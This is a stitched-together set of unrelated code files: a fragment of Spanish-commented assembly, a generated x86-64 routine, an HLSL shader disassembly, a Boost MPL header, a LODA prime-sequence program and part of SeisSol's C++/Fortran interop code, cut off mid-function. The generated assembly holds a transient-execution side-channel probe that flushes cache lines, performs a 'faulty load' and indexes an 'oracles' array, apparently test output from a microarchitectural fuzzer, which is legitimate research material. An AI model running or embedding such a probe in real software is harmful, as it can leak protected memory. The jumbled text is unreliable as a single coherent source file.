mov ebx, [decriptor_salida]; Se le dice en donde va a escribir gracias al descriptor
mov eax, 4 ;Sys_write
int 80h
pop eax ;Se le hace pop al registro
pop ebx ;Se le hace pop al registro
pop ecx ;Se le hace pop al registro
pop edx ;Se le hace pop al registro
ret
salir_ciclo:
ret
terminar:
call quit ; call our quit function |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13a35, %rax
clflush (%rax)
nop
nop
nop
nop
inc %rdx
movl $0x61626364, (%rax)
dec %r9
lea addresses_WC_ht+0x10435, %r9
nop
nop
nop
nop
cmp $24789, %rcx
movb $0x61, (%r9)
nop
sub $55984, %r12
lea addresses_WC_ht+0x13735, %rsi
lea addresses_WC_ht+0x15d11, %rdi
nop
nop
xor %rdx, %rdx
mov $68, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WT_ht+0x11e35, %rdx
nop
nop
nop
cmp %r10, %r10
mov $0x6162636465666768, %rax
movq %rax, %xmm7
movups %xmm7, (%rdx)
nop
nop
nop
nop
nop
xor %r10, %r10
lea addresses_normal_ht+0x1c725, %rax
nop
nop
nop
nop
inc %rdi
movups (%rax), %xmm4
vpextrq $0, %xmm4, %r9
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_D_ht+0x11479, %rcx
dec %rdi
mov (%rcx), %r10
nop
nop
cmp %rax, %rax
lea addresses_D_ht+0x3cdd, %rdx
nop
nop
nop
dec %rax
movb $0x61, (%rdx)
nop
and %rcx, %rcx
lea addresses_WC_ht+0xc35, %rax
nop
sub %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, (%rax)
add $26649, %rsi
lea addresses_normal_ht+0x8575, %rsi
nop
nop
nop
nop
add %rax, %rax
movl $0x61626364, (%rsi)
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x10435, %r10
sub %rcx, %rcx
vmovups (%r10), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
cmp %rax, %rax
lea addresses_normal_ht+0x15635, %rdi
nop
nop
add %rcx, %rcx
and $0xffffffffffffffc0, %rdi
vmovntdqa (%rdi), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x18e35, %rax
clflush (%rax)
nop
nop
nop
nop
sub %rsi, %rsi
movb $0x61, (%rax)
nop
nop
nop
nop
dec %rdx
lea addresses_UC_ht+0x18235, %r9
nop
nop
sub $30788, %rdx
movb $0x61, (%r9)
nop
nop
cmp $7308, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_normal+0x1f435, %rbx
nop
nop
dec %r11
movups (%rbx), %xmm3
vpextrq $0, %xmm3, %rsi
lea oracles, %r11
and $0xff, %rsi
shlq $12, %rsi
mov (%r11,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
//
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384
//
//
///
// Buffer Definitions:
//
// cbuffer cbInit
// {
//
// float4 g_vMaterialColor; // Offset: 0 Size: 16
// float4 g_vAmbientColor; // Offset: 16 Size: 16
// float4 g_vSpecularColor; // Offset: 32 Size: 16
// float4 g_vScreenSize; // Offset: 48 Size: 16 [unused]
// float4 g_vFlags; // Offset: 64 Size: 16
//
// }
//
//
// Resource Bindings:
//
// Name Type Format Dim Slot Elements
// ------------------------------ ---------- ------- ----------- ---- --------
// g_sampleLinear sampler NA NA 0 1
// g_NormalMap texture float4 2d 1 1
// g_BaseMap texture float4 2d 2 1
// cbInit cbuffer NA NA 0 1
//
//
//
// Input signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// SV_POSITION 0 xyzw 0 POS float
// TEXCOORD 0 xy 1 NONE float xy
// NORMAL 0 xyz 2 NONE float xyz
// TEXCOORD 1 xyz 3 NONE float xyz
// LIGHTVECTORTS 0 xyz 4 NONE float xyz
// LIGHTVECTORWS 0 xyz 5 NONE float xyz
// VIEWVECTORTS 0 xyz 6 NONE float xyz
// VIEWVECTORWS 0 xyz 7 NONE float xyz
//
//
// Output signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// SV_TARGET 0 xyzw 0 TARGET float xyzw
//
ps_5_0
dcl_globalFlags refactoringAllowed
dcl_constantbuffer cb0[5], immediateIndexed
dcl_sampler s0, mode_default
dcl_resource_texture2d (float,float,float,float) t1
dcl_resource_texture2d (float,float,float,float) t2
dcl_input_ps linear v1.xy
dcl_input_ps linear v2.xyz
dcl_input_ps linear v3.xyz
dcl_input_ps linear v4.xyz
dcl_input_ps linear v5.xyz
dcl_input_ps linear v6.xyz
dcl_input_ps linear v7.xyz
dcl_output o0.xyzw
dcl_temps 4
lt r0.x, v3.z, l(1.000000)
if_nz r0.x
dp3 r0.x, v2.xyzx, v2.xyzx
rsq r0.x, r0.x
mul r0.xyz, r0.xxxx, v2.xyzx
dp3 r0.w, v5.xyzx, v5.xyzx
rsq r0.w, r0.w
mul r1.xyz, r0.wwww, v5.xyzx
dp3 r0.w, v7.xyzx, v7.xyzx
rsq r0.w, r0.w
mul r2.xyz, r0.wwww, v7.xyzx
else
sample_indexable(texture2d)(float,float,float,float) r3.xyz, v3.xyxx, t1.xyzw, s0
mad r3.xyz, r3.xyzx, l(2.000000, 2.000000, 2.000000, 0.000000), l(-1.000000, -1.000000, -1.000000, 0.000000)
dp3 r0.w, r3.xyzx, r3.xyzx
rsq r0.w, r0.w
mul r0.xyz, r0.wwww, r3.xyzx
dp3 r0.w, v4.xyzx, v4.xyzx
rsq r0.w, r0.w
mul r1.xyz, r0.wwww, v4.xyzx
dp3 r0.w, v6.xyzx, v6.xyzx
rsq r0.w, r0.w
mul r2.xyz, r0.wwww, v6.xyzx
endif
lt r0.w, l(0.000000), cb0[4].x
if_nz r0.w
sample_indexable(texture2d)(float,float,float,float) r3.xyz, v1.xyxx, t2.xyzw, s0
mul r3.xyz, r3.xyzx, cb0[0].xyzx
else
mov r3.xyz, cb0[0].xyzx
endif
dp3_sat r0.w, r0.xyzx, r1.xyzx
add r1.xyz, r1.xyzx, r2.xyzx
dp3 r1.w, r1.xyzx, r1.xyzx
rsq r1.w, r1.w
mul r1.xyz, r1.wwww, r1.xyzx
dp3_sat r0.x, r0.xyzx, r1.xyzx
log r0.x, r0.x
mul r0.x, r0.x, l(100.000000)
exp r0.x, r0.x
mov r3.w, cb0[0].w
mul r1.xyzw, r3.xyzw, cb0[1].xyzw
mad r1.xyzw, r3.xyzw, r0.wwww, r1.xyzw
mad o0.xyzw, cb0[2].xyzw, r0.xxxx, r1.xyzw
ret
// Approximately 45 instruction slots used
|
// NO INCLUDE GUARDS, THE HEADER IS INTENDED FOR MULTIPLE INCLUSION
// Copyright Aleksey Gurtovoy 2001-2006
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/mpl for documentation.
// $Id$
// $Date$
// $Revision$
#include <boost/mpl/aux_/config/preprocessor.hpp>
#include <boost/mpl/aux_/config/workaround.hpp>
#include <boost/preprocessor/cat.hpp>
#include <boost/preprocessor/stringize.hpp>
#if !defined(BOOST_NEEDS_TOKEN_PASTING_OP_FOR_TOKENS_JUXTAPOSING)
# define AUX778076_HEADER \
plain/BOOST_MPL_PREPROCESSED_HEADER \
/**/
#else
# define AUX778076_HEADER \
BOOST_PP_CAT(plain,/)##BOOST_MPL_PREPROCESSED_HEADER \
/**/
#endif
#if BOOST_WORKAROUND(__IBMCPP__, BOOST_TESTED_AT(700))
# define AUX778076_INCLUDE_STRING BOOST_PP_STRINGIZE(boost/mpl/set/aux_/preprocessed/AUX778076_HEADER)
# include AUX778076_INCLUDE_STRING
# undef AUX778076_INCLUDE_STRING
#else
# include BOOST_PP_STRINGIZE(boost/mpl/set/aux_/preprocessed/AUX778076_HEADER)
#endif
# undef AUX778076_HEADER
#undef BOOST_MPL_PREPROCESSED_HEADER
|
; A212378: Primes congruent to 1 mod 61.
; Submitted by Jon Maiga
; 367,733,977,1709,1831,2441,3539,4027,4271,4637,4759,5003,5857,6101,6833,7321,7687,8053,8297,8419,8663,9029,9151,9883,10859,12323,12689,13177,13421,14153,14519,15373,15739,16349,17203,17569,18301,18911,21107,21839,21961,22571,22937,23059,23669,24767,24889,25621,26597,27329,27817,28183,28549,28793,30013,31477,31721,32941,34039,34283,34649,35381,35747,35869,36479,37699,38431,39041,39163,40627,40993,41603,41969,42457,42701,43067,43189,44531,45263,45751,46727,47093,47459,47581,47947,48313,48679
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
add $1,34
mul $4,2
mul $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,27
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,121
|
/**
* @file
* This file is part of SeisSol.
*
* @author Alex Breuer (breuer AT mytum.de, http://www5.in.tum.de/wiki/index.php/Dipl.-Math._Alexander_Breuer)
* @author Sebastian Rettenberger (sebastian.rettenberger @ tum.de, http://www5.in.tum.de/wiki/index.php/Sebastian_Rettenberger)
* @author Sebastian Wolf (wolf.sebastian AT in.tum.de, https://www5.in.tum.de/wiki/index.php/Sebastian_Wolf,_M.Sc.)
*
* @section LICENSE
* Copyright (c) 2015-2020, SeisSol Group
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @section DESCRIPTION
* C++/Fortran-interoperability.
**/
#include <cstddef>
#include <cstring>
#include "Interoperability.h"
#include "time_stepping/TimeManager.h"
#include "SeisSol.h"
#include <Initializer/CellLocalMatrices.h>
#include <Initializer/InitialFieldProjection.h>
#include <Initializer/ParameterDB.h>
#include <Initializer/time_stepping/common.hpp>
#include <Initializer/typedefs.hpp>
#include <Equations/Setup.h>
#include <Monitoring/FlopCounter.hpp>
#include <ResultWriter/common.hpp>
seissol::Interoperability e_interoperability;
/*
* C bindings
*/
extern "C" {
// fortran to c
void c_interoperability_setDomain( void *i_domain ) {
e_interoperability.setDomain( i_domain );
}
void c_interoperability_setTimeStepWidth( int i_meshId,
double i_timeStepWidth ) {
e_interoperability.setTimeStepWidth( i_meshId,
i_timeStepWidth );
}
void c_interoperability_initializeClusteredLts( int i_clustering, bool enableFreeSurfaceIntegration ) {
e_interoperability.initializeClusteredLts( i_clustering, enableFreeSurfaceIntegration );
}
void c_interoperability_initializeMemoryLayout(int clustering, bool enableFreeSurfaceIntegration) {
e_interoperability.initializeMemoryLayout(clustering, enableFreeSurfaceIntegration);
}
void c_interoperability_initializeEasiBoundaries(char* fileName) {
seissol::SeisSol::main.getMemoryManager().initializeEasiBoundaryReader(fileName);
}
void c_interoperability_setInitialConditionType(char* type)
{
e_interoperability.setInitialConditionType(type);
}
void c_interoperability_setupNRFPointSources(char* nrfFileName)
{
#if defined(USE_NETCDF) && !defined(NETCDF_PASSIVE)
e_interoperability.setupNRFPointSources(nrfFileName);
#endif
}
void c_interoperability_setupFSRMPointSources( double* momentTensor,
double* velocityComponent,
int numberOfSources,
double* centres,
double* strikes,
double* dips,
double* rakes,
double* onsets,
double* areas,
double timestep,
int numberOfSamples,
double* timeHistories )
{
e_interoperability.setupFSRMPointSources( momentTensor,
velocityComponent,
numberOfSources,
centres,
strikes,
dips,
rakes,
onsets,
areas,
timestep,
numberOfSamples,
timeHistories );
}
void c_interoperability_initializeModel( char* materialFileName,
int anelasticity,
int plasticity,
int anisotropy,
double* materialVal,
double* bulkFriction,
double* plastCo,
double* iniStress,
double* waveSpeeds )
{
e_interoperability.initializeModel( materialFileName,
anelasticity,
plasticity,
anisotropy,
materialVal,
bulkFriction,
plastCo,
iniStress,
waveSpeeds );
}
void c_interoperability_addFaultParameter( char* name,
double* memory ) {
e_interoperability.addFaultParameter(name, memory);
}
bool c_interoperability_faultParameterizedByTraction( char* modelFileName ) {
return seissol::initializers::FaultParameterDB::faultParameterizedByTraction( std::string(modelFileName) );
}
bool c_interoperability_nucleationParameterizedByTraction( char* modelFileName ) {
return seissol::initializers::FaultParameterDB::nucleationParameterizedByTraction( std::string(modelFileName) );
}
void c_interoperability_initializeFault( char* modelFileName,
int gpwise,
double* bndPoints,
int numberOfBndPoints ) {
e_interoperability.initializeFault(modelFileName, gpwise, bndPoints, numberOfBndPoints);
}
void c_interoperability_addRecPoint(double x, double y, double z) {
e_interoperability.addRecPoint(x, y, z);
}
void c_interoperability_enableDynamicRupture() {
e_interoperability.enableDynamicRupture();
}
void c_interoperability_setMaterial( int i_meshId,
int i_side,
double* i_materialVal,
int i_numMaterialVals ) {
e_interoperability.setMaterial(i_meshId, i_side, i_materialVal, i_numMaterialVals);
}
#ifdef USE_PLASTICITY
void c_interoperability_setInitialLoading( int i_meshId,
double *i_initialLoading ) {
e_interoperability.setInitialLoading( i_meshId, i_initialLoading );
}
void c_interoperability_setPlasticParameters( int i_meshId,
double *i_plasticParameters ) {
e_interoperability.setPlasticParameters( i_meshId, i_plasticParameters );
}
void c_interoperability_setTv(double tv) {
e_interoperability.setTv(tv);
}
#endif
void c_interoperability_initializeCellLocalMatrices() {
e_interoperability.initializeCellLocalMatrices();
}
void c_interoperability_synchronizeCellLocalData() {
e_interoperability.synchronizeCellLocalData();
}
void c_interoperability_synchronizeCopyLayerDofs() {
e_interoperability.synchronizeCopyLayerDofs();
}
void c_interoperability_enableWaveFieldOutput( double i_waveFieldInterval, const char* i_waveFieldFilename ) {
e_interoperability.enableWaveFieldOutput( i_waveFieldInterval, i_waveFieldFilename );
}
void c_interoperability_enableFreeSurfaceOutput(int maxRefinementDepth) {
e_interoperability.enableFreeSurfaceOutput(maxRefinementDepth);
}
void c_interoperability_enableCheckPointing( double i_checkPointInterval,
const char* i_checkPointFilename, const char* i_checkPointBackend ) {
e_interoperability.enableCheckPointing( i_checkPointInterval,
i_checkPointFilename, i_checkPointBackend );
}
void c_interoperability_getIntegrationMask( int* i_integrationMask ) {
e_interoperability.getIntegrationMask( i_integrationMask );
}
void c_interoperability_initializeIO( double* mu, double* slipRate1, double* slipRate2,
double* slip, double* slip1, double* slip2, double* state, double* strength,
int numSides, int numBndGP, int refinement, int* outputMask, double* outputRegionBounds,
double freeSurfaceInterval, const char* freeSurfaceFilename, char const* xdmfWriterBackend,
double receiverSamplingInterval, double receiverSyncInterval) {
e_interoperability.initializeIO(mu, slipRate1, slipRate2, slip, slip1, slip2, state, strength,
numSides, numBndGP, refinement, outputMask, outputRegionBounds,
freeSurfaceInterval, freeSurfaceFilename, xdmfWriterBackend,
receiverSamplingInterval, receiverSyncInterval);
}
void c_interoperability_projectInitialField() {
e_interoperability.projectInitialField();
}
void c_interoperability_getDofs( int i_meshId,
double o_timeDerivatives[seissol::tensor::QFortran::size()] ) {
e_interoperability.getDofs( i_meshId, o_timeDerivatives );
}
void c_interoperability_getDofsFromDerivatives( int i_meshId,
double o_dofs[seissol::tensor::QFortran::size()] ) {
e_interoperability.getDofsFromDerivatives( i_meshId, o_dofs );
}
void c_interoperability_getNeighborDofsFromDerivatives( int i_meshId,
int i_localFaceId,
double o_dofs[seissol::tensor::QFortran::size()] ) {
e_interoperability.getNeighborDofsFromDerivatives( i_meshId, i_localFaceId, o_dofs );
}
void c_interoperability_simulate( double i_finalTime ) {
e_interoperability.simulate( i_finalTime );
}
void c_interoperability_finalizeIO() {
e_interoperability.finalizeIO();
}
// c to fortran
extern void f_interoperability_computeSource( void *i_domain,
int *i_meshId,
double *i_fullUpdateTime,
double *i_timeStepWidth );
extern void f_interoperability_copyDynamicRuptureState(void* domain);
extern void f_interoperability_faultOutput( void *i_domain,
double *i_fullUpdateTime,
double *i_timeStepWidth );
extern void f_interoperability_evaluateFrictionLaw( void* i_domain,
int i_face,
real* i_QInterpolatedPlus,
real* i_QInterpolatedMinus,
real* i_imposedStatePlus,
real* i_imposedStateMinus,
int i_numberOfBasisFunctions2D,
int i_godunovLd,
double* i_fullUpdateTime,
double* timePoints,
double* timeWeights,
double densityPlus,
double pWaveVelocityPlus,
double sWaveVelocityPlus,
double densityMinus,
double pWaveVelocityMinus,
double sWaveVelocityMinus,
real const* resampleMatrix );
extern void f_interoperability_calcElementwiseFaultoutput( void *domain,
double time );
extern void f_interoperability_computePlasticity( void *i_domain,
double *i_timestep,
int numberOfAlignedBasisFunctions,
double *i_plasticParameters,
double (*i_initialLoading)[NUMBER_OF_BASIS_FUNCTIONS],
double *io_dofs,
double *io_Energy,
double *io_pstrain );
extern void f_interoperability_computeMInvJInvPhisAtSources( void* i_domain,
double i_x,
double i_y,
double i_z,
int i_elem,
double* o_mInvJInvPhisAtSources );
extern void f_interoperability_fitAttenuation( void* i_domain,
double rho,
double mu,
double lambda,
double Qp,
double Qs,
double* material );
}
/*
* C++ functions
*/
seissol::Interoperability::Interoperability() :
m_initialConditionType(), m_domain(nullptr), m_ltsTree(nullptr), m_lts(nullptr), m_ltsFaceToMeshFace(nullptr) // reset domain pointer
{
}
seissol::Interoperability::~Interoperability()
{
delete[] m_ltsFaceToMeshFace;
}
void seissol::Interoperability::setInitialConditionType(char const* type) {
assert(type != nullptr);
// Note: Pointer to type gets deleted before doing the error computation.
m_initialConditionType = std::string(type);
}
void seissol::Interoperability::setDomain( void* i_domain ) {
assert( i_domain != NULL );
m_domain = i_domain;
}
void seissol::Interoperability::setTimeStepWidth( int i_meshId,
double i_timeStepWidth ) {
seissol::SeisSol::main.getLtsLayout().setTimeStepWidth( (i_meshId)-1, i_timeStepWidth );
}
void seissol::Interoperability::initializeClusteredLts( int i_clustering, bool enableFreeSurfaceIntegration ) {
// assert a valid clustering
assert( i_clustering > 0 );
// either derive a GTS or LTS layout
if( i_clustering == 1 ) {
seissol::SeisSol::main.getLtsLayout().deriveLayout( single, 1);
}
else {
seissol::SeisSol::main.getLtsLayout().deriveLayout( multiRate, i_clustering );
}
// get the mesh structure
seissol::SeisSol::main.getLtsLayout().getMeshStructure( m_meshStructure );
// get time stepping
seissol::SeisSol::main.getLtsLayout().getCrossClusterTimeStepping( m_timeStepping );
unsigned* numberOfDRCopyFaces;
unsigned* numberOfDRInteriorFaces;
// get cell information & mappings
seissol::SeisSol::main.getLtsLayout().getDynamicRuptureInformation( m_ltsFaceToMeshFace,
numberOfDRCopyFaces,
numberOfDRInteriorFaces );
seissol::SeisSol::main.getMemoryManager().fixateLtsTree(m_timeStepping,
m_meshStructure,
numberOfDRCopyFaces,
numberOfDRInteriorFaces);
delete[] numberOfDRCopyFaces;
delete[] numberOfDRInteriorFaces;
m_ltsTree = seissol::SeisSol::main.getMemoryManager().getLtsTree();
m_lts = seissol::SeisSol::main.getMemoryManager().getLts();
unsigned* ltsToMesh;
unsigned numberOfMeshCells;
// get cell information & mappings
seissol::SeisSol::main.getLtsLayout().getCellInformation( m_ltsTree->var(m_lts->cellInformation),
ltsToMesh,
numberOfMeshCells );
m_ltsLut.createLuts( m_ltsTree,
ltsToMesh,
numberOfMeshCells );
delete[] ltsToMesh;
// derive lts setups
seissol::initializers::time_stepping::deriveLtsSetups( m_timeStepping.numberOfLocalClusters,
m_meshStructure,
m_ltsTree->var(m_lts->cellInformation) );
}
void seissol::Interoperability::initializeMemoryLayout(int clustering, bool enableFreeSurfaceIntegration) {
// initialize memory layout
seissol::SeisSol::main.getMemoryManager().initializeMemoryLayout(enableFreeSurfaceIntegration);
// add clusters
seissol::SeisSol::main.timeManager().addClusters( m_timeStepping,
m_meshStructure,
seissol::SeisSol::main.getMemoryManager() );
// get backward coupling
m_globalData = seissol::SeisSol::main.getMemoryManager().getGlobalData();
// initialize face lts trees
seissol::SeisSol::main.getMemoryManager().fixateBoundaryLtsTree();
}
#if defined(USE_NETCDF) && !defined(NETCDF_PASSIVE)
void seissol::Interoperability::setupNRFPointSources( char const* fileName )
{
SeisSol::main.sourceTermManager().loadSourcesFromNRF(
fileName,
seissol::SeisSol::main.meshReader(),
m_ltsTree,
m_lts,
&m_ltsLut,
seissol::SeisSol::main.timeManager()
);
}
#endif
void seissol::Interoperability::setupFSRMPointSources( double const* momentTensor,
double const* velocityComponent,
int numberOfSources,
double const* centres,
double const* strikes,
double const* dips,
double const* rakes,
double const* onsets,
double const* areas,
double timestep,
int numberOfSamples,
double const* timeHistories )
{
SeisSol::main.sourceTermManager().loadSourcesFromFSRM(
momentTensor,
velocityComponent,
numberOfSources,
centres,
strikes,
dips,
rakes,
onsets,
areas,
timestep,
numberOfSamples,
timeHistories,
seissol::SeisSol::main.meshReader(),
m_ltsTree,
m_lts,
&m_ltsLut,
seissol::SeisSol::main.timeManager()
);
}
void seissol::Interoperability::initializeModel( char* materialFileName,
bool anelasticity,
bool plasticity,
bool anisotropy,
double* materialVal,
double* bulkFriction,
double* plastCo,
double* iniStress,
double* waveSpeeds)
{
//There are only some valid combinations of material properties
// elastic materials
// viscoelastic materials
// elastoplastic materials
// viscoplastic materials
// anisotropic elastic materials
//first initialize the (visco-)elastic part
auto nElements = seissol::SeisSol::main.meshReader().getElements().size();
seissol::initializers::ElementBarycentreGenerator queryGen(seissol::SeisSol::main.meshReader());
auto calcWaveSpeeds = [&] (seissol::model::Material* material, int pos) {
waveSpeeds[pos] = material->getMaxWaveSpeed();
waveSpeeds[nElements + pos] = material->getSWaveSpeed();
waveSpeeds[nElements + 2*pos] = material->getSWaveSpeed();
};
if (anisotropy) {
if(anelasticity || plasticity) {
logError() << "Anisotropy can not be combined with anelasticity or plasticity";
}
auto materials = std::vector<seissol::model::AnisotropicMaterial>(nElements);
